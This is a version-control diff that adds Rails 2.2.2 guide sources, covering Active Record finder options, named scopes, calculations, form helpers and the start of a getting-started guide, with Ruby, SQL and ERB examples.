+This code will return a maximum of 5 clients and because it specifies no offset it will return the first 5 clients in the table. The SQL it executes will look like this:
+
+[source,sql]
+-------------------------------------------------------
+SELECT * FROM clients LIMIT 5
+-------------------------------------------------------
+
+[source, ruby]
+-------------------------------------------------------
+Client.all(:limit => 5, :offset => 5)
+-------------------------------------------------------
+
+This code will return a maximum of 5 clients and because it specifies an offset this time, it will return these records starting from the 5th client in the clients table. The SQL looks like:
+
+[source,sql]
+-------------------------------------------------------
+SELECT * FROM clients LIMIT 5, 5
+-------------------------------------------------------
+
+== Group
+
+The group option for find is useful, for example, if you want to find a collection of the dates orders were created on. You could use the option in this context:
+
+[source, ruby]
+-------------------------------------------------------
+Order.all(:group => "date(created_at)", :order => "created_at")
+-------------------------------------------------------
+
+And this will give you a single +Order+ object for each date where there are orders in the database. 
+
+The SQL that would be executed would be something like this:
+
+[source, sql]
+-------------------------------------------------------
+SELECT * FROM +orders+ GROUP BY date(created_at)
+-------------------------------------------------------
+
+== Read Only
+
+Readonly is a find option that you can set in order to make that instance of the record read-only. Any attempt to alter or destroy the record will not succeed, raising an +Active Record::ReadOnlyRecord+ exception. To set this option, specify it like this:
+
+[source, ruby]
+-------------------------------------------------------
+Client.first(:readonly => true)
+-------------------------------------------------------
+
+If you assign this record to a variable +client+, calling the following code will raise an +ActiveRecord::ReadOnlyRecord+ exception:
+
+[source, ruby]
+-------------------------------------------------------
+client = Client.first(:readonly => true)
+client.locked = false
+client.save
+-------------------------------------------------------
+
+== Lock
+
+If you're wanting to stop race conditions for a specific record (for example, you're incrementing a single field for a record, potentially from multiple simultaneous connections) you can use the lock option to ensure that the record is updated correctly. For safety, you should use this inside a transaction.
+
+[source, ruby]
+-------------------------------------------------------
+Topic.transaction do
+  t = Topic.find(params[:id], :lock => true)
+  t.increment!(:views)
+end
+-------------------------------------------------------
+
+== Making It All Work Together
+
+You can chain these options together in no particular order as Active Record will write the correct SQL for you. If you specify two instances of the same options inside the find statement Active Record will use the latter.
+
+== Eager Loading
+
+Eager loading is loading associated records along with any number of records in as few queries as possible. For example, if you wanted to load all the addresses associated with all the clients in a single query you could use +Client.all(:include => :address)+. If you wanted to include both the address and mailing address for the client you would use +Client.find(:all, :include => [:address, :mailing_address]). Include will first find the client records and then load the associated address records. Running script/server in one window, and executing the code through script/console in another window, the output should look similar to this:
+
+[source, sql]
+-------------------------------------------------------
+Client Load (0.000383)   SELECT * FROM clients 
+Address Load (0.119770)   SELECT addresses.* FROM addresses 
+  WHERE (addresses.client_id IN (13,14)) 
+MailingAddress Load (0.001985) SELECT mailing_addresses.* FROM 
+  mailing_addresses WHERE (mailing_addresses.client_id IN (13,14))
+-------------------------------------------------------
+
+The numbers +13+ and +14+ in the above SQL are the ids of the clients gathered from the +Client.all+ query. Rails will then run a query to gather all the addresses and mailing addresses that have a client_id of 13 or 14. Although this is done in 3 queries, this is more efficient than not eager loading because without eager loading it would run a query for every time you called +address+ or +mailing_address+ on one of the objects in the clients array, which may lead to performance issues if you're loading a large number of records at once.
+
+If you wanted to get all the addresses for a client in the same query you would do +Client.all(:joins => :address)+ and you wanted to find the address and mailing address for that client you would do +Client.all(:joins => [:address, :mailing_address])+. This is more efficient because it does all the SQL in one query, as shown by this example:
+
+[source, sql]
+-------------------------------------------------------
++Client Load (0.000455)   SELECT clients.* FROM clients INNER JOIN addresses 
+  ON addresses.client_id = client.id INNER JOIN mailing_addresses ON 
+  mailing_addresses.client_id = client.id
+-------------------------------------------------------
+
+This query is more efficent, but there's a gotcha: if you have a client who does not have an address or a mailing address they will not be returned in this query at all. If you have any association as an optional association, you may want to use include rather than joins. Alternatively, you can use a SQL join clause to specify exactly the join you need (Rails always assumes an inner join):
+
+[source, ruby]
+-------------------------------------------------------
+Client.all(:joins => “LEFT OUTER JOIN addresses ON
+  client.id = addresses.client_id LEFT OUTER JOIN mailing_addresses ON
+  client.id = mailing_addresses.client_id”)
+-------------------------------------------------------
+
+When using eager loading you can specify conditions for the columns of the tables inside the eager loading to get back a smaller subset. If, for example, you want to find a client and all their orders within the last two weeks you could use eager loading with conditions for this:
+
+[source, ruby]
+-------------------------------------------------------
+Client.first(:include => "orders", :conditions => 
+  ["orders.created_at >= ? AND orders.created_at <= ?", Time.now - 2.weeks, Time.now])
+-------------------------------------------------------
+
+== Dynamic finders
+
+For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called +name+ on your Client model for example, you get +find_by_name+ and +find_all_by_name+ for free from Active Record. If you have also have a +locked+ field on the client model, you also get +find_by_locked+ and +find_all_by_locked+. If you want to find both by name and locked, you can chain these finders together by simply typing +and+ between the fields for example +Client.find_by_name_and_locked('Ryan', true)+. These finders are an excellent alternative to using the conditions option, mainly because it's shorter to type +find_by_name(params[:name])+ than it is to type +first(:conditions => ["name = ?", params[:name]])+. 
+
+There's another set of dynamic finders that let you find or create/initialize objects if they aren't find. These work in a similar fashion to the other finders and can be used like +find_or_create_by_name(params[:name])+. Using this will firstly perform a find and then create if the find returns nil. The SQL looks like this for +Client.find_or_create_by_name('Ryan')+:
+
+[source,sql]
+-------------------------------------------------------
+SELECT * FROM +clients+ WHERE (+clients+.+name+ = 'Ryan') LIMIT 1
+BEGIN
+INSERT INTO +clients+ (+name+, +updated_at+, +created_at+, +orders_count+, +locked+) 
+  VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', '0', '0')
+COMMIT
+-------------------------------------------------------
+
++find_or_create+'s sibling, +find_or_initialize+, will find an object and if it does not exist will call +new+ with the parameters you passed in. For example:
+
+[source, ruby]
+-------------------------------------------------------
+client = Client.find_or_initialize_by_name('Ryan')
+-------------------------------------------------------
+
+will either assign an existing client object with the name 'Ryan' to the client local variable, or initialize new object similar to calling +Client.new(:name => 'Ryan')+. From here, you can modify other fields in client by calling the attribute setters on it: +client.locked = true+ and when you want to write it to the database just call +save+ on it.
+
+== Finding By SQL
+
+If you'd like to use your own SQL to find records a table you can use +find_by_sql+. The +find_by_sql+ method will return an array of objects even if it only returns a single record in it's call to the database. For example you could run this query:
+
+[source, ruby]
+-------------------------------------------------------
+Client.find_by_sql("SELECT * FROM clients INNER JOIN orders ON clients.id = orders.client_id ORDER clients.created_at desc")
+-------------------------------------------------------
+
++find_by_sql+ provides you with a simple way of making custom calls to the database and retrieving instantiated objects.
+
+== +select_all+ ==
+
++find_by_sql+ has a close relative called +connection#select_all+. +select_all+ will retrieve objects from the database using custom SQL just like +find_by_sql+ but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.
+
+[source, ruby]
+-------------------------------------------------------
+Client.connection.select_all("SELECT * FROM `clients` WHERE `id` = '1'")
+-------------------------------------------------------
+
+== Working with Associations
+
+When you define a has_many association on a model you get the find method and dynamic finders also on that association. This is helpful for finding associated records within the scope of an existing record, for example finding all the orders for a client that have been sent and not received by doing something like +Client.find(params[:id]).orders.find_by_sent_and_received(true, false)+. Having this find method available on associations is extremely helpful when using nested controllers. 
+
+== Named Scopes
+
+Named scopes are another way to add custom finding behavior to the models in the application. Named scopes provide an object-oriented way to narrow the results of a query.
+
+=== Simple Named Scopes
+
+Suppose want to find all clients who are male. You could use this code:
+
+[source, ruby]
+-------------------------------------------------------
+class Client < ActiveRecord::Base
+  named_scope :males, :conditions => { :gender => "male" }
+end
+-------------------------------------------------------
+
+Then you could call +Client.males.all+ to get all the clients who are male. Please note that if you do not specify the +all+ on the end you will get a +Scope+ object back, not a set of records which you do get back if you put the +all+ on the end.
+
+If you wanted to find all the clients who are active, you could use this:
+
+[source,ruby]
+-------------------------------------------------------
+class Client < ActiveRecord::Base
+  named_scope :active, :conditions => { :active => true }
+end
+-------------------------------------------------------
+
+You can call this new named_scope with +Client.active.all+ and this will do the same query as if we just used +Client.all(:conditions => ["active = ?", true])+. Please be aware that the conditions syntax in named_scope and find is different and the two are not interchangeable. If you want to find the first client within this named scope you could do +Client.active.first+. 
+
+=== Combining Named Scopes
+
+If you wanted to find all the clients who are active and male you can stack the named scopes like this:
+
+[source, ruby]
+-------------------------------------------------------
+Client.males.active.all
+-------------------------------------------------------
+
+If you would then like to do a +all+ on that scope, you can. Just like an association, named scopes allow you to call +all+ on them:
+
+[source, ruby]
+-------------------------------------------------------
+Client.males.active.all(:conditions => ["age > ?", params[:age]])
+-------------------------------------------------------
+
+=== Runtime Evaluation of Named Scope Conditions
+
+Consider the following code:
+
+[source, ruby]
+-------------------------------------------------------
+class Client < ActiveRecord::Base
+  named_scope :recent, :conditions => { :created_at > 2.weeks.ago }
+end
+-------------------------------------------------------
+
+This looks like a standard named scope that defines a method called recent which gathers all records created any time between now and 2 weeks ago. That's correct for the first time the model is loaded but for any time after that, +2.weeks.ago+ is set to that same value, so you will consistently get records from a certain date until your model is reloaded by something like your application restarting. The way to fix this is to put the code in a lambda block:
+
+[source, ruby]
+-------------------------------------------------------
+class Client < ActiveRecord::Base
+  named_scope :recent, lambda { { :conditions => ["created_at > ?", 2.weeks.ago] } } 
+end
+-------------------------------------------------------
+
+And now every time the recent named scope is called, the code in the lambda block will be parsed, so you'll get actually 2 weeks ago from the code execution, not 2 weeks ago from the time the model was loaded.
+
+=== Named Scopes with Multiple Models
+
+In a named scope you can use +:include+ and +:joins+ options just like in find.
+
+[source, ruby]
+-------------------------------------------------------
+class Client < ActiveRecord::Base
+  named_scope :active_within_2_weeks, :joins => :order, 
+    lambda { { :conditions => ["orders.created_at > ?", 2.weeks.ago] } }
+end
+-------------------------------------------------------
+
+This method, called as +Client.active_within_2_weeks.all+, will return all clients who have placed orders in the past 2 weeks.
+
+=== Arguments to Named Scopes
+
+If you want to pass a named scope a compulsory argument, just specify it as a block parameter like this:
+
+[source, ruby]
+-------------------------------------------------------
+class Client < ActiveRecord::Base
+  named_scope :recent, lambda { |time| { :conditions => ["created_at > ?", time] } } 
+end
+-------------------------------------------------------
+
+This will work if you call +Client.recent(2.weeks.ago).all+ but not if you call +Client.recent+. If you want to add an optional argument for this, you have to use the splat operator as the block's parameter.
+
+[source, ruby]
+-------------------------------------------------------
+class Client < ActiveRecord::Base
+  named_scope :recent, lambda { |*args| { :conditions => ["created_at > ?", args.first || 2.weeks.ago] } }
+end
+-------------------------------------------------------
+
+This will work with +Client.recent(2.weeks.ago).all+ and +Client.recent.all+, with the latter always returning records with a created_at date between right now and 2 weeks ago.
+
+Remember that named scopes are stackable, so you will be able to do +Client.recent(2.weeks.ago).unlocked.all+ to find all clients created between right now and 2 weeks ago and have their locked field set to false.
+
+=== Anonymous Scopes
+
+All Active Record models come with a named scope named +scoped+, which allows you to create anonymous scopes. For example:
+
+[source, ruby]
+-------------------------------------------------------
+class Client < ActiveRecord::Base
+  def self.recent
+    scoped :conditions => ["created_at > ?", 2.weeks.ago]
+  end
+end
+-------------------------------------------------------
+
+Anonymous scopes are most useful to create scopes "on the fly":
+
+[source, ruby]
+-------------------------------------------------------
+Client.scoped(:conditions => { :gender => "male" })
+-------------------------------------------------------
+
+Just like named scopes, anonymous scopes can be stacked, either with other anonymous scopes or with regular named scopes.
+
+== Existence of Objects
+
+If you simply want to check for the existence of the object there's a method called +exists?+. This method will query the database using the same query as find, but instead of returning an object or collection of objects it will return either true or false.
+
+[source, ruby]
+-------------------------------------------------------
+Client.exists?(1)
+-------------------------------------------------------
+
+The above code will check for the existence of a clients table record with the id of 1 and return true if it exists.
+
+[source, ruby]
+-------------------------------------------------------
+Client.exists?(1,2,3)
+# or
+Client.exists?([1,2,3])
+-------------------------------------------------------
+
+The +exists?+ method also takes multiple ids, as shown by the above code, but the catch is that it will return true if any one of those records exists.
+
+Further more, +exists+ takes a +conditions+ option much like find:
+
+[source, ruby]
+-------------------------------------------------------
+Client.exists?(:conditions => "first_name = 'Ryan'")
+-------------------------------------------------------
+
+== Calculations
+
+This section uses count as an example method in this preamble, but the options described apply to all sub-sections.
+
++count+ takes conditions much in the same way +exists?+ does:
+
+[source, ruby]
+-------------------------------------------------------
+Client.count(:conditions => "first_name = 'Ryan'")
+-------------------------------------------------------
+
+Which will execute:
+
+[source, sql]
+-------------------------------------------------------
+SELECT count(*) AS count_all FROM +clients+ WHERE (first_name = 1) 
+-------------------------------------------------------
+
+You can also use +include+ or +joins+ for this to do something a little more complex:
+
+[source, ruby]
+-------------------------------------------------------
+Client.count(:conditions => "clients.first_name = 'Ryan' AND orders.status = 'received'", :include => "orders")
+-------------------------------------------------------
+
+Which will execute:
+
+[source, sql]
+-------------------------------------------------------
+SELECT count(DISTINCT +clients+.id) AS count_all FROM +clients+ 
+  LEFT OUTER JOIN +orders+ ON orders.client_id = client.id WHERE 
+  (clients.first_name = 'name' AND orders.status = 'received') 
+-------------------------------------------------------
+
+This code specifies +clients.first_name+ just in case one of the join tables has a field also called +first_name+ and it uses +orders.status+ because that's the name of our join table.
+
+
+=== Count
+
+If you want to see how many records are in your model's table you could call +Client.count+ and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use +Client.count(:age)+.
+
+For options, please see the parent section, Calculations.
+
+=== Average
+
+If you want to see the average of a certain number in one of your tables you can call the +average+ method on the class that relates to the table. This method call will look something like this:
+
+[source, ruby]
+-------------------------------------------------------
+Client.average("orders_count")
+-------------------------------------------------------
+
+This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.
+
+For options, please see the parent section, <<_calculations, Calculations>>
+
+=== Minimum
+
+If you want to find the minimum value of a field in your table you can call the +minimum+ method on the class that relates to the table. This method call will look something like this:
+
+[source, ruby]
+-------------------------------------------------------
+Client.minimum("age")
+-------------------------------------------------------
+
+For options, please see the parent section, <<_calculations, Calculations>>
+
+=== Maximum
+
+If you want to find the maximum value of a field in your table you can call the +maximum+ method on the class that relates to the table. This method call will look something like this:
+
+[source, ruby]
+-------------------------------------------------------
+Client.maximum("age")
+-------------------------------------------------------
+
+For options, please see the parent section, <<_calculations, Calculations>>
+
+=== Sum
+
+If you want to find the sum of a field for all records in your table you can call the +sum+ method on the class that relates to the table. This method call will look something like this:
+
+[source, ruby]
+-------------------------------------------------------
+Client.sum("orders_count")
+-------------------------------------------------------
+
+For options, please see the parent section,  <<_calculations, Calculations>>
+
+== Credits
+
+Thanks to Ryan Bates for his awesome screencast on named scope #108. The information within the named scope section is intentionally similar to it, and without the cast may have not been possible.
+
+Thanks to Mike Gunderloy for his tips on creating this guide.
+
+== Changelog
+
+http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16[Lighthouse ticket]
+
+* November 8, 2008: Editing pass by link:../authors.html#mgunderloy[Mike Gunderloy] . First release version.
+* October 27, 2008: Added scoped section, added named params for conditions and added sub-section headers for conditions section by Ryan Bigg
+* October 27, 2008: Fixed up all points specified in http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16-activerecord-finders#ticket-16-6[this comment] with an exception of the final point by Ryan Bigg
+* October 26, 2008: Editing pass by link:../authors.html#mgunderloy[Mike Gunderloy] . First release version.
+* October 22, 2008: Calculations complete, first complete draft by Ryan Bigg
+* October 21, 2008: Extended named scope section by Ryan Bigg
+* October 9, 2008: Lock, count, cleanup by Ryan Bigg
+* October 6, 2008: Eager loading by Ryan Bigg
+* October 5, 2008: Covered conditions by Ryan Bigg
+* October 1, 2008: Covered limit/offset, formatting changes by Ryan Bigg
+* September 28, 2008: Covered first/last/all by Ryan Bigg

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/form_helpers.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/form_helpers.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/form_helpers.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,345 @@
+Rails form helpers
+==================
+Mislav Marohnić <mislav.marohnic at gmail.com>
+
+Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.
+
+In this guide we will:
+
+* Create search forms and similar kind of generic forms not representing any specific model in your application;
+* Make model-centric forms for creation and editing of specific database records;
+* Generate select boxes from multiple types of data;
+* Learn what makes a file upload form different;
+* Build complex, multi-model forms.
+
+NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit http://api.rubyonrails.org/[the Rails API documentation] for a complete reference.
+
+
+Basic forms
+-----------
+
+The most basic form helper is `form_tag`.
+
+----------------------------------------------------------------------------
+<% form_tag do %>
+  Form contents
+<% end %>
+----------------------------------------------------------------------------
+
+When called without arguments like this, it creates a form element that has the current page for action attribute and "POST" as method (some line breaks added for readability):
+
+.Sample rendering of `form_tag`
+----------------------------------------------------------------------------
+<form action="/home/index" method="post">
+  <div style="margin:0;padding:0">
+    <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
+  </div>
+  Form contents
+</form>
+----------------------------------------------------------------------------
+
+If you carefully observe this output, you can see that the helper generated something we didn't specify: a `div` element with a hidden input inside. This is a security feature of Rails called *cross-site request forgery protection* and form helpers generate it for every form which action isn't "GET" (provided that this security feature is enabled).
+
+NOTE: Throughout this guide, this `div` with the hidden input will be stripped away to have clearer code samples.
+
+Generic search form
+~~~~~~~~~~~~~~~~~~~
+
+Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of:
+
+1. a form element with "GET" method,
+2. a label for the input,
+3. a text input element, and
+4. a submit element.
+
+IMPORTANT: Always use "GET" as the method for search forms. Benefits are many: users are able to bookmark a specific search and get back to it; browsers cache results of "GET" requests, but not "POST"; and other.
+
+To create that, we will use `form_tag`, `label_tag`, `text_field_tag` and `submit_tag`, respectively.
+
+.A basic search form
+----------------------------------------------------------------------------
+<% form_tag(search_path, :method => "get") do %>
+  <%= label_tag(:q, "Search for:") %>
+  <%= text_field_tag(:q) %>
+  <%= submit_tag("Search") %>
+<% end %>
+----------------------------------------------------------------------------
+
+[TIP]
+============================================================================
+`search_path` can be a named route specified in "routes.rb":
+
+----------------------------------------------------------------------------
+map.search "search", :controller => "search"
+----------------------------------------------------------------------------
+============================================================================
+
+The above view code will result in the following markup:
+
+.Search form HTML
+----------------------------------------------------------------------------
+<form action="/search" method="get">
+  <label for="q">Search for:</label>
+  <input id="q" name="q" type="text" />
+  <input name="commit" type="submit" value="Search" />
+</form>
+----------------------------------------------------------------------------
+
+Besides `text_field_tag` and `submit_tag`, there is a similar helper for _every_ form control in HTML.
+
+TIP: For every form input, an ID attribute is generated from its name ("q" in our example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
+
+Multiple hashes in form helper attributes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+By now we've seen that the `form_tag` helper accepts 2 arguments: the path for the action attribute and an options hash for parameters (like `:method`).
+
+Identical to the `link_to` helper, the path argument doesn't have to be given as string or a named route. It can be a hash of URL parameters that Rails' routing mechanism will turn into a valid URL. Still, we cannot simply write this:
+
+.A bad way to pass multiple hashes as method arguments
+----------------------------------------------------------------------------
+form_tag(:controller => "people", :action => "search", :method => "get")
+# => <form action="/people/search?method=get" method="post">
+----------------------------------------------------------------------------
+
+Here we wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL that we didn't want. The solution is to delimit the first hash (or both hashes) with curly brackets:
+
+.The correct way of passing multiple hashes as arguments
+----------------------------------------------------------------------------
+form_tag({:controller => "people", :action => "search"}, :method => "get")
+# => <form action="/people/search" method="get">
+----------------------------------------------------------------------------
+
+This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly.
+
+WARNING: Do not delimit the second hash without doing so with the first hash, otherwise your method invocation will result in an `expecting tASSOC` syntax error.
+
+Checkboxes, radio buttons and other controls
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Checkboxes are form controls that give the user a set of options they can enable or disable:
+
+----------------------------------------------------------------------------
+<%= check_box_tag(:pet_dog) %>
+  <%= label_tag(:pet_dog, "I own a dog") %>
+<%= check_box_tag(:pet_cat) %>
+  <%= label_tag(:pet_cat, "I own a cat") %>
+
+output:
+
+<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
+  <label for="pet_dog">I own a dog</label>
+<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
+  <label for="pet_cat">I own a cat</label>
+----------------------------------------------------------------------------
+
+Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (user can only pick one):
+
+----------------------------------------------------------------------------
+<%= radio_button_tag(:age, "child") %>
+  <%= label_tag(:age_child, "I am younger than 21") %>
+<%= radio_button_tag(:age, "adult") %>
+  <%= label_tag(:age_adult, "I'm over 21") %>
+
+output:
+
+<input id="age_child" name="age" type="radio" value="child" />
+  <label for="age_child">I am younger than 21</label>
+<input id="age_adult" name="age" type="radio" value="adult" />
+  <label for="age_adult">I'm over 21</label>
+----------------------------------------------------------------------------
+
+IMPORTANT: Always use labels for each checkbox and radio button. They associate text with a specific option and provide a larger clickable region.
+
+Other form controls we might mention are the text area, password input and hidden input:
+
+----------------------------------------------------------------------------
+<%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %>
+<%= password_field_tag(:password) %>
+<%= hidden_field_tag(:parent_id, "5") %>
+
+output:
+
+<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea>
+<input id="password" name="password" type="password" />
+<input id="parent_id" name="parent_id" type="hidden" value="5" />
+----------------------------------------------------------------------------
+
+Hidden inputs are not shown to the user, but they hold data same as any textual input. Values inside them can be changed with JavaScript.
+
+TIP: If you're using password input fields (for any purpose), you might want to prevent their values showing up in application logs by activating `filter_parameter_logging(:password)` in your ApplicationController.
+
+How do forms with PUT or DELETE methods work?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). Still, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms. How does this work, then?
+
+Rails works around this issue by emulating other methods over POST with a hidden input named `"_method"` that is set to reflect the wanted method:
+
+----------------------------------------------------------------------------
+form_tag(search_path, :method => "put")
+  
+output:
+
+<form action="/search" method="post">
+  <div style="margin:0;padding:0">
+    <input name="_method" type="hidden" value="put" />
+    <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
+  </div>
+  ...
+----------------------------------------------------------------------------
+
+When parsing POSTed data, Rails will take into account the special `"_method"` parameter and act as if the HTTP method was the one specified inside it ("PUT" in this example).
+
+
+Forms that deal with model attributes
+-------------------------------------
+
+When we're dealing with an actual model, we will use a different set of form helpers and have Rails take care of some details in the background. In the following examples we will handle an Article model. First, let us have the controller create one:
+
+.articles_controller.rb
+----------------------------------------------------------------------------
+def new
+  @article = Article.new
+end
+----------------------------------------------------------------------------
+
+Now we switch to the view. The first thing to remember is that we should use `form_for` helper instead of `form_tag`, and that we should pass the model name and object as arguments:
+
+.articles/new.html.erb
+----------------------------------------------------------------------------
+<% form_for :article, @article, :url => { :action => "create" } do |f| %>
+  <%= f.text_field :title %>
+  <%= f.text_area :body, :size => "60x12" %>
+  <%= submit_tag "Create" %>
+<% end %>
+----------------------------------------------------------------------------
+
+There are a few things to note here:
+
+1. `:article` is the name of the model and `@article` is our record.
+2. The URL for the action attribute is passed as a parameter named `:url`.
+3. The `form_for` method yields *a form builder* object (the `f` variable).
+4. Methods to create form controls are called *on* the form builder object `f` and *without* the `"_tag"` suffix (so `text_field_tag` becomes `f.text_field`).
+
+The resulting HTML is:
+
+----------------------------------------------------------------------------
+<form action="/articles/create" method="post">
+  <input id="article_title" name="article[title]" size="30" type="text" />
+  <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
+  <input name="commit" type="submit" value="Create" />
+</form>
+----------------------------------------------------------------------------
+
+A nice thing about `f.text_field` and other helper methods is that they will pre-fill the form control with the value read from the corresponding attribute in the model. For example, if we created the article instance by supplying an initial value for the title in the controller:
+
+----------------------------------------------------------------------------
+ at article = Article.new(:title => "Rails makes forms easy")
+----------------------------------------------------------------------------
+
+... the corresponding input will be rendered with a value:
+
+----------------------------------------------------------------------------
+<input id="post_title" name="post[title]" size="30" type="text" value="Rails makes forms easy" />
+----------------------------------------------------------------------------
+
+Relying on record identification
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In the previous chapter we handled the Article model. This model is directly available to users of our application and, following the best practices for developing with Rails, we should declare it *a resource*.
+
+When dealing with RESTful resources, our calls to `form_for` can get significantly easier if we rely on *record identification*. In short, we can just pass the model instance and have Rails figure out model name and the rest:
+
+----------------------------------------------------------------------------
+## Creating a new article
+# long-style:
+form_for(:article, @article, :url => articles_path)
+# same thing, short-style (record identification gets used):
+form_for(@article)
+
+## Editing an existing article
+# long-style:
+form_for(:article, @article, :url => article_path(@article), :method => "put")
+# short-style:
+form_for(@article)
+----------------------------------------------------------------------------
+
+Notice how the short-style `form_for` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking `record.new_record?`.
+
+WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, `:url` and `:method` explicitly.
+
+
+Making select boxes with ease
+-----------------------------
+
+Select boxes in HTML require a significant amount of markup (one `OPTION` element for each option to choose from), therefore it makes the most sense for them to be dynamically generated from data stored in arrays or hashes.
+
+Here is what our wanted markup might look like:
+
+----------------------------------------------------------------------------
+<select name="city_id" id="city_id">
+  <option value="1">Lisabon</option>
+  <option value="2">Madrid</option>
+  ...
+  <option value="12">Berlin</option>
+</select>
+----------------------------------------------------------------------------
+
+Here we have a list of cities where their names are presented to the user, but internally we want to handle just their IDs so we keep them in value attributes. Let's see how Rails can help out here.
+
+The select tag and options
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The most generic helper is `select_tag`, which -- as the name implies -- simply generates the `SELECT` tag that encapsulates the options:
+
+----------------------------------------------------------------------------
+<%= select_tag(:city_id, '<option value="1">Lisabon</option>...') %>
+----------------------------------------------------------------------------
+
+This is a start, but it doesn't dynamically create our option tags. We had to pass them in as a string.
+
+We can generate option tags with the `options_for_select` helper:
+
+----------------------------------------------------------------------------
+<%= options_for_select([['Lisabon', 1], ['Madrid', 2], ...]) %>
+
+output:
+
+<option value="1">Lisabon</option>
+<option value="2">Madrid</option>
+...
+----------------------------------------------------------------------------
+
+For input data we used a nested array where each element has two elements: visible value (name) and internal value (ID).
+
+Now you can combine `select_tag` and `options_for_select` to achieve the desired, complete markup:
+
+----------------------------------------------------------------------------
+<%= select_tag(:city_id, options_for_select(...)) %>
+----------------------------------------------------------------------------
+
+Sometimes, depending on our application's needs, we also wish a specific option to be pre-selected. The `options_for_select` helper supports this with an optional second argument:
+
+----------------------------------------------------------------------------
+<%= options_for_select(cities_array, 2) %>
+
+output:
+
+<option value="1">Lisabon</option>
+<option value="2" selected="selected">Madrid</option>
+...
+----------------------------------------------------------------------------
+
+So whenever Rails sees that the internal value of an option being generated matches this value, it will add the `selected` attribute to that option.
+
+Select boxes for dealing with models
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Until now we've covered how to make generic select boxes, but in most cases our form controls will be tied to a specific database model. So, to continue from our previous examples, let's assume that we have a "Person" model with a `city_id` attribute.
+
+----------------------------------------------------------------------------
+...
+----------------------------------------------------------------------------
+
+...
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/getting_started_with_rails.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/getting_started_with_rails.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/getting_started_with_rails.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1256 @@
+Getting Started With Rails
+==========================
+
+This guide covers getting up and running with Ruby on Rails.  After reading it, you should be familiar with:
+
+* Installing Rails, creating a new Rails application, and connecting your application to a database
+* The general layout of a Rails application
+* The basic principles of MVC (Model, View Controller) and RESTful design
+* How to quickly generate the starting pieces of a Rails application.
+
+== This Guide Assumes
+
+This guide is designed for beginners who want to get started with a Rails application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed:
+
+* The link:http://www.ruby-lang.org/en/downloads/[Ruby] language
+* The link:http://rubyforge.org/frs/?group_id=126[RubyGems] packaging system
+* A working installation of link:http://www.sqlite.org/[SQLite] (preferred), link:http://www.mysql.com/[MySQL], or link:http://www.postgresql.org/[PostgreSQL]
+
+It is highly recommended that you *familiarize yourself with Ruby before diving into Rails*. You will find it much easier to follow what's going on with a Rails application if you understand basic Ruby syntax. Rails isn't going to magically revolutionize the way you write web applications if you have no experience with the language it uses. There are some good free resources on the net for learning Ruby, including:
+
+* link:http://www.humblelittlerubybook.com/[Mr. Neigborly’s Humble Little Ruby Book]
+* link:http://www.rubycentral.com/book/[Programming Ruby]
+* link:http://poignantguide.net/ruby/[Why's (Poignant) Guide to Ruby]
+
+== What is Rails?
+
+Rails is a web development framework written in the Ruby language. It is designed to make programming web applications easier by making several assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Longtime Rails developers also report that it makes web application development more fun.
+
